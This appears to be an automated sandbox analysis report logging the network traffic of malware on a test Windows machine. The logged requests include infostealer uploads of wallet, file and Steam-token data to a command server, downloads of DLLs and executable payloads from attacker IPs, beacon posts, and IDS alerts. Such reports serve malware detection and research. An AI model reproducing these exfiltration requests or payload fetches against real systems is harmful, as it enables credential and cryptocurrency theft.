Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJDHDGDAAKECAKJDAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="file"------KJJJDHDGDAAKECAKJDAE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHDHost: 185.215.113.206Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBKJDBAAKJDGCBFHCFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 2d 2d 0d 0a Data Ascii: ------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="message"wallets------KEBKJDBAAKJDGCBFHCFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJKHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="message"files------HDGDGHCAAKECFHJKFIJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEHIEBKJKFIEBGDGDAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="file"------KKEHIEBKJKFIEBGDGDAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 2d 2d 0d 0a Data Ascii: ------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="message"ybncbhylepme------EBGCFBGCBFHJECBGDAKK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBGIDGCAFCBKECAAKJJK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 34 35 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007450001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 34 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007455001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 20.25.227.174 20.25.227.174
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49761 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:62272 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:62704 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:62706 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:62710 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:62709 -> 188.114.97.3:443

Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 28_2_004CBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

28_2_004CBE30

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6LtLuxTTxdf5n1z&MD=N2tnl4rg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.dfd00baecca65bd549c2.js HTTP/1.1Host: assets2.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732640439&P2=404&P3=2&P4=Lw8RUTRNbDBJ4C7QVGxK7FwZbXPIsnEnHuI5a3Fu%2fyCMrkG6UNKguCbq2FLoUCWPqlrSreIJLkFiucC0TX0VAA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: YDHnJhE4qKTD4E+Qq3weQdSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
